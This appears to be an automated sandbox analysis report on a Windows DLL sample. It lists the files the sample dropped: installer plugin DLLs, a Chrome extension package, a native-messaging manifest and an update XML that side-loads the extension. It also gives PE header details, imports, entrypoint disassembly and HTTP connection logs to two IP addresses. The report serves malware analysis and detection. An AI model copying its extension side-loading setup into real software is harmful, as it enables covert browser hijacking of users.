C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\inetc.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	5.282085684031262
Encrypted:	false
SSDEEP:	384:ya3Bj/GAqvdXP4P4IVlht8zNHxKNSJvor9e9dQTIHzOZwceyeZwd6TJdpq:yRtqLhtqKNS5sAvQTIB86T0
MD5:	1FC1FBB2C7A14B7901FC9ABBD6DBEF10
SHA1:	4D9ED86F31075A3D3F674FF78F39C190A4098126
SHA-256:	4F26394C93F1ACB315C42C351983DAFC7F094B2D05DB6D7A1BA7DCB39A3A599E
SHA-512:	76D8FF7FC301CC5FF966AD8BE17F0F3F2D869EF797C5A2C55A062305C02133A842906448741BF9818EC369BBB2932B9A9C2193EBC59835B50E8703DB0090FDB2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N8.W.Y...Y...Y...Y.._Y....Y..Y..l./..Y..l....Y..l.*..Y..l.)..Y..l.,..Y..Rich.Y..................PE..L......S...........!.........z.......1.......@............................................@..........................N..l....G..d...............................T....................................................@..d............................text...?-.......................... ..`.rdata.......@.......2..............@..@.data....V...P.......B..............@....rsrc................P..............@..@.reloc...............Z..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\md5dll.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.800293106212402
Encrypted:	false
SSDEEP:	96:5mArJv6F3TqDmgK4ghEin1US36eHQZDUDgGogZcko5Nt4AMP:5XJ63LhR6inZ6dsgZkKQT
MD5:	7059F133EA2316B9E7E39094A52A8C34
SHA1:	EE9F1487C8152D8C42FECF2EFB8ED1DB68395802
SHA-256:	32C3D36F38E7E8A8BAFD4A53663203EF24A10431BDA16AF9E353C7D5D108610F
SHA-512:	9115986754A74D3084DD18018E757D3B281A2C2FDE48C73B71DBA882E13BD9B2DED0E6E7F45DC5B019E6D53D086090CCB06E18E6EFEEC091F655A128510CBE51
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y..X=...=...=...=...2..._..8.......<...i..?......<...Rich=...........PE..L....W[K...........!.............p..P...............................................................................(... ...\...........\...................H.......................................................................................UPX0.....p..............................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................3.04.UPX!....

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.153182156150743
Encrypted:	false
SSDEEP:	96:EjHFiKaoggCtJzTlKXb0tbo68qD853Ns7GgmkNwS3m+s:lbogRtJzTlNR8qD85uGgmkNM
MD5:	35200BE9CF105F3DEFE2AE0EE44CEA12
SHA1:	3F4A09EEB477D3F048CDFB848B95AA39B20D89DC
SHA-256:	0096AE873C75F4E4D802DC97EEC9893ACC0749A7346E63F25A8D52BA8E11C527
SHA-512:	F8F7D8A844D588C6E2D6DC54E0D4BCBB1C4229A6E8F4D110A5E3D47EB0B8B5E0860FF5D31762229A731E08D7B232468B2A78C29778A9F0C62A7381DB89175833
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L...W..Y...........!......................... ...............................P.......................................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\2e04d05a72bbb297aebc410e888a6ad5

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.848672612609203
Encrypted:	false
SSDEEP:	3:YLAfFwBwLLDvtRAUNVgbRV1md54I55yJynUpHPf0Lpsu6ZLWNQRuWqSAN4IKhW:YWk+b/QRVsH56QMLHjQVp
MD5:	637DE6D026A96CBB0754FF0C169DA8D3
SHA1:	BF7E0F20194401F6EA4D7E56A60FF2BB75C68A4B
SHA-256:	78F488AD9DF5903DA4C8462604F6381A7D66DCB45BC2797D6B5E192800FEF051
SHA-512:	91FE7CDDF44C306DDD520515BA1233A8B0A06750084E13F627B78475313710EE6B50490C5B08328A94852DB87F1E2D9A9D7419B3D50349B1B8FA63CAB3C310B5
Malicious:	false
Preview:	{"name": "com.regreader.nativemessage","description": "Wimsys","path": "C:\\Program Files (x86)\\Wimsys\\msg.exe","type": "stdio","allowed_origins": ["chrome-extension://liffkepbndfkkknedglekeghaegocokk/"]}

C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\66f120532d0318a6a449e3c438427a15.2

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4141
Entropy (8bit):	7.311993895570865
Encrypted:	false
SSDEEP:	96:F91AA9WCunDsgSqsQX4S/PKEVcVNFIValU/qGDQI0QB:FgA0nggSqsQISXRVcnFIclU/qGD10s
MD5:	015C6BAADF26FB34ABA866C97A694CA8
SHA1:	6336E8547DE4B23652972F86A50388CB5A771809
SHA-256:	446FA17B6ED7B995207FC792DF908EBA0AB1F4E1D38BECC257CC64E14B2605FA
SHA-512:	D318024E7BE0DF9F7E2DBADB3ABE20B10061629F39CCEC7DE5AAA05875BFB333375C6E8D7039227CFE2E1B8A5738E46834BE27D7EE092438DF09EEA9E390A870
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........P%e.+.J...R.......?_.ZD.....M..0.....V.0....;.;....B)..,.$..^.K..Z..c.l.....c..,p.E.>.Eu.kr..D....Z......k.)q....D.M...Lax....R_.....M.6...'iT.......}...<~...t......$/.>......}...F7:.+v.....)..~..Y.<D..S+..HV..'...D3.......?O.......6......,}..........x..".Q...<9.i:)....t.6i.I.....F../!ln....sB........z.'..........W.>=.....J$$+(......BU...}..G.t...N.\..f...,S\|.M.U-.+....FVZ..k.Ll..F.}"...x.).+p...~U.%w;P...c.....d5%9l[L.GS$W..x.....Y...-H...w.:G..0x...W.R..B.].......^.\|..n.rwS.z.>).......U...Z..6..g.n..PK..-......a{X................web_accessible_resource.js.......................j.0...y....)8..Qv.ue...JjpmOU.e..K.d..N......R.y.........Z!.-.....>...G.t.aD....g.Z.sB.r.S.c.....S.#...../)....=.v$..D]..%.:.&....e2....e../.M>.....R.E~b...1Ja....'.......?....Mq..\d,..h[.&...e?8`..YI....PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\66f120532d0318a6a449e3c438427a15.2.E

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4141
Entropy (8bit):	7.311993895570865
Encrypted:	false
SSDEEP:	96:F91AA9WCunDsgSqsQX4S/PKEVcVNFIValU/qGDQI0QB:FgA0nggSqsQISXRVcnFIclU/qGD10s
MD5:	015C6BAADF26FB34ABA866C97A694CA8
SHA1:	6336E8547DE4B23652972F86A50388CB5A771809
SHA-256:	446FA17B6ED7B995207FC792DF908EBA0AB1F4E1D38BECC257CC64E14B2605FA
SHA-512:	D318024E7BE0DF9F7E2DBADB3ABE20B10061629F39CCEC7DE5AAA05875BFB333375C6E8D7039227CFE2E1B8A5738E46834BE27D7EE092438DF09EEA9E390A870
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........P%e.+.J...R.......?_.ZD.....M..0.....V.0....;.;....B)..,.$..^.K..Z..c.l.....c..,p.E.>.Eu.kr..D....Z......k.)q....D.M...Lax....R_.....M.6...'iT.......}...<~...t......$/.>......}...F7:.+v.....)..~..Y.<D..S+..HV..'...D3.......?O.......6......,}..........x..".Q...<9.i:)....t.6i.I.....F../!ln....sB........z.'..........W.>=.....J$$+(......BU...}..G.t...N.\..f...,S\|.M.U-.+....FVZ..k.Ll..F.}"...x.).+p...~U.%w;P...c.....d5%9l[L.GS$W..x.....Y...-H...w.:G..0x...W.R..B.].......^.\|..n.rwS.z.>).......U...Z..6..g.n..PK..-......a{X................web_accessible_resource.js.......................j.0...y....)8..Qv.ue...JjpmOU.e..K.d..N......R.y.........Z!.-.....>...G.t.aD....g.Z.sB.r.S.c.....S.#...../)....=.v$..D]..%.:.&....e2....e../.M>.....R.E~b...1Ja....'.......?....Mq..\d,..h[.&...e?8`..YI....PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\c23a32abd836342a70b7f6c1aa74947e.2

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (314), with no line terminators
Category:	dropped
Size (bytes):	314
Entropy (8bit):	5.3261540784378525
Encrypted:	false
SSDEEP:	6:TM3i0bkGDzic4I2Qs6LL/+EAVVRGGuDoBMsXmhp0KXklW5+VTd0zBwB9re:TM3i0bk42Qs63/H8PGGu06sX40KXkwq4
MD5:	1AF5A99DB1B691C743EB02261B196AA5
SHA1:	5DF64A063EC45107C4C79078742B3D9677D2A70C
SHA-256:	A5C418B6DB31A23FB7B0AB5CBC29D4B93A155A7592E7549C196FC1C2CD1D288C
SHA-512:	F2ABEAC6C08ADF270F7949DB686B3C4D801C2B95CA6ACC304AA44A1F35111980A3162518DA29E8A9A3B8ECCA743C106D8FDDE78C778EDFB84F841780301E7CDF
Malicious:	false
Preview:	<?xml version='1.0' encoding='UTF-8'?><gupdate xmlns='http://www.google.com/update2/response' protocol='2.0'><app appid='liffkepbndfkkknedglekeghaegocokk'><updatecheck codebase='file:///C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\66f120532d0318a6a449e3c438427a15.2' version='1.1' /></app></gupdate>

C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\c23a32abd836342a70b7f6c1aa74947e.2.E

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (316), with no line terminators
Category:	dropped
Size (bytes):	316
Entropy (8bit):	5.340995165985453
Encrypted:	false
SSDEEP:	6:TM3i0bkGDzic4I2Qs6LL/+EAVVRGGuDoBMsXmhp0KXklW5+VTd0zBn79re:TM3i0bk42Qs63/H8PGGu06sX40KXkwqL
MD5:	891D0F3A1AEAF6F8786CE43BEE416FD9
SHA1:	7CC84BD406AC2580CAC5D25D625B3D738B6183F4
SHA-256:	65BCF1D9D7CF7ADBBB50092F467F6F4BA7DD6C995449B514B05B38665512B817
SHA-512:	8695A99E96D9025A700DDA0B54B61B6095F0E4FC48DBFA379A9789F31350E15D8634420500C0D2964EBCDD25CBE155BEAC3E6D3928AC73C496C9E7EBDBFF18D5
Malicious:	false
Preview:	<?xml version='1.0' encoding='UTF-8'?><gupdate xmlns='http://www.google.com/update2/response' protocol='2.0'><app appid='liffkepbndfkkknedglekeghaegocokk'><updatecheck codebase='file:///C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\66f120532d0318a6a449e3c438427a15.2.E' version='1.1' /></app></gupdate>

Static File Info

General

File type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Entropy (8bit):	6.915895827705982
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	anuwhqTXGt.dll
File size:	489'472 bytes
MD5:	136233d478f9a3a8a809fc91ae7b9fa3
SHA1:	47693171dff1319486b413d384951293268d47ad
SHA256:	5321973accea8905112e90ea77809091187252d2126adb7f056e69a3cd1c83d3
SHA512:	822eac55ae59c3dfd85aba20bb157f0fcbf42056282d47d36f6de00976e5a379e24cee6245e53bea597d3b6b30a824de4f46c97e475c99bb972560b941613def
SSDEEP:	6144:qQij2lb+bfQWvcaYrJYkW/q/p/ZhORLZZdW14QbVv2XScWyYE+T2uUTjeQjNRuRu:qD2lb+bflilVZ6ZdW1P6sD7QmPZ
TLSH:	55A49E313382A43FE4731AF359AB5A5D016DB710037195BF6BC4151EABF6AD2FA32242
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......f\.."=.."=.."=..+E..(=...F..(=...F..&=...F.. =...F..:=...F..&=...M..#=...M..+=.."=..x=...F.. =...F..#=...Ff.#=...F..#=..Rich"=.

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1001dc21
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x66267564 [Mon Apr 22 14:34:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5e629e20bd2827cb9e55d22222650cc1

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F49A0E90B97h
call 00007F49A0E9113Eh
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F49A0E90A43h
add esp, 0Ch
pop ebp
retn 000Ch
retn 0000h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 10031E54h
mov dword ptr [ecx], 10031740h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F49A0E90B6Fh
push 1003420Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F49A0E91200h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F49A0E74D8Bh
push 100342C8h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F49A0E911E3h
int3
push ebp
mov ebp, esp
and dword ptr [10036544h], 00000000h
sub esp, 24h
or dword ptr [1003501Ch], 01h
push 0000000Ah
call dword ptr [1003104Ch]
test eax, eax
je 00007F49A0E90D42h
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
nop
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-20h]
mov dword ptr [ebp-0Ch], eax

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x34460	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x344a0	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x37000	0x41f08	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x79000	0xe94	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x32a90	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32ac0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x329d0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x31000	0x170	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2f1bc	0x2f200	f5941bb132fcdcf6b6f24fcf0f724e66	False	0.3884698275862069	data	6.077787968724165	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x31000	0x3dbe	0x3e00	95304aa34a2932135229227e429252f0	False	0.3240927419354839	data	4.499861052086353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x35000	0x1a24	0x1400	43eabe3421bd3296e921d973b5d3bd14	False	0.0765625	DOS executable (block device driver \277Du)	0.9924899616753375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x37000	0x41f08	0x42000	8dfef15dfa5356a88370e4acc2fc2c89	False	0.7968713008996212	data	7.272037603797767	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x79000	0xe94	0x1000	541a8161fdd7e958fd05a48a7a5b7a20	False	0.7705078125	data	6.270724653173739	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x37060	0x41ea8	Device independent bitmap graphic, 304 x 222 x 32, image size 0, resolution 3780 x 3780 px/m	English	United States	0.797723636255889

Imports

DLL	Import
KERNEL32.dll	GetCommandLineA, RaiseException, GetLastError, HeapDestroy, HeapAlloc, HeapReAlloc, HeapFree, HeapSize, GetProcessHeap, InitializeCriticalSectionEx, DeleteCriticalSection, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, GetCurrentProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, IsProcessorFeaturePresent, GetModuleHandleW, CreateEventW, WaitForSingleObjectEx, ResetEvent, SetEvent, InitializeCriticalSectionAndSpinCount, CloseHandle, WideCharToMultiByte, FindResourceW, SizeofResource, LockResource, LoadResource, FindResourceExW, GetProcAddress, LoadLibraryA, GetModuleHandleA, LeaveCriticalSection, EnterCriticalSection, OutputDebugStringW, IsDebuggerPresent, InitializeSListHead
ole32.dll	CoUninitialize, CoInitialize
OLEAUT32.dll	SysFreeString, SysAllocStringByteLen, SysStringByteLen
MSVCP140.dll	?_Xlength_error@std@@YAXPBD@Z, ?_Xout_of_range@std@@YAXPBD@Z
VCRUNTIME140.dll	__CxxFrameHandler3, _except_handler4_common, __std_type_info_destroy_list, _purecall, memchr, memcmp, memcpy, memmove, memset, __std_exception_copy, __std_exception_destroy, _CxxThrowException
api-ms-win-crt-runtime-l1-1-0.dll	_initterm_e, _initterm, _invalid_parameter_noinfo, _errno, _cexit, _crt_atexit, _execute_onexit_table, _register_onexit_function, _initialize_onexit_table, _initialize_narrow_environment, _configure_narrow_argv, _seh_filter_dll, _invalid_parameter_noinfo_noreturn
api-ms-win-crt-string-l1-1-0.dll	strlen, toupper
api-ms-win-crt-heap-l1-1-0.dll	calloc, _recalloc, free, _callnewh, malloc
api-ms-win-crt-math-l1-1-0.dll	ceil
api-ms-win-crt-multibyte-l1-1-0.dll	_mbscmp

Exports

Name	Ordinal	Address
get	1	0x10009f94

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 08:39:57.051949024 CEST	49700	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.054917097 CEST	49701	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.139501095 CEST	80	49700	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.139589071 CEST	49700	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.139727116 CEST	49700	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.142991066 CEST	80	49701	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.143055916 CEST	49701	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.143184900 CEST	49701	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.227482080 CEST	80	49700	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.231219053 CEST	80	49701	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.389444113 CEST	80	49700	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.389651060 CEST	49700	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.398340940 CEST	80	49701	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.398544073 CEST	49701	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.401674986 CEST	49702	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.414762020 CEST	49703	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.477440119 CEST	80	49700	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.477509022 CEST	49700	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.487107992 CEST	80	49701	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.487175941 CEST	49701	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.489726067 CEST	80	49702	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.489907980 CEST	49702	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.490341902 CEST	49702	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.502475023 CEST	80	49703	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.502584934 CEST	49703	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.502674103 CEST	49703	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.578303099 CEST	80	49702	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.590418100 CEST	80	49703	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.680057049 CEST	80	49703	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.680218935 CEST	49703	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.743742943 CEST	80	49702	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.744052887 CEST	49702	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.768280983 CEST	80	49703	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.768352985 CEST	49703	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.784564018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.787820101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.832580090 CEST	80	49702	104.21.24.192	192.168.2.7
Apr 23, 2024 08:39:57.832672119 CEST	49702	80	192.168.2.7	104.21.24.192
Apr 23, 2024 08:39:57.871828079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.871918917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.872009993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.874917030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.874983072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.875066996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.959357977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960333109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960445881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960484982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960504055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.960572004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960628986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.960686922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960726023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960762024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960782051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.960836887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.960880995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.960911989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.961039066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.961344004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.962090969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.962842941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.962898016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.962933064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.962945938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.962980032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.963016987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.963041067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.963107109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.963145971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.963150024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.963219881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.963263035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:57.963305950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.963357925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:57.963395119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.048463106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.048491955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.048552036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.050545931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.050560951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.050652027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.051316023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.051414013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.051457882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.053284883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.053353071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.053399086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.057018995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.057074070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.057126999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.059242010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.059418917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.059473038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.063204050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.063285112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.063333988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.065524101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.065668106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.065711021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.069274902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.069340944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.069382906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.071500063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.071569920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.071614981 CEST	49705	80	192.168.2.7	138.199.40.58
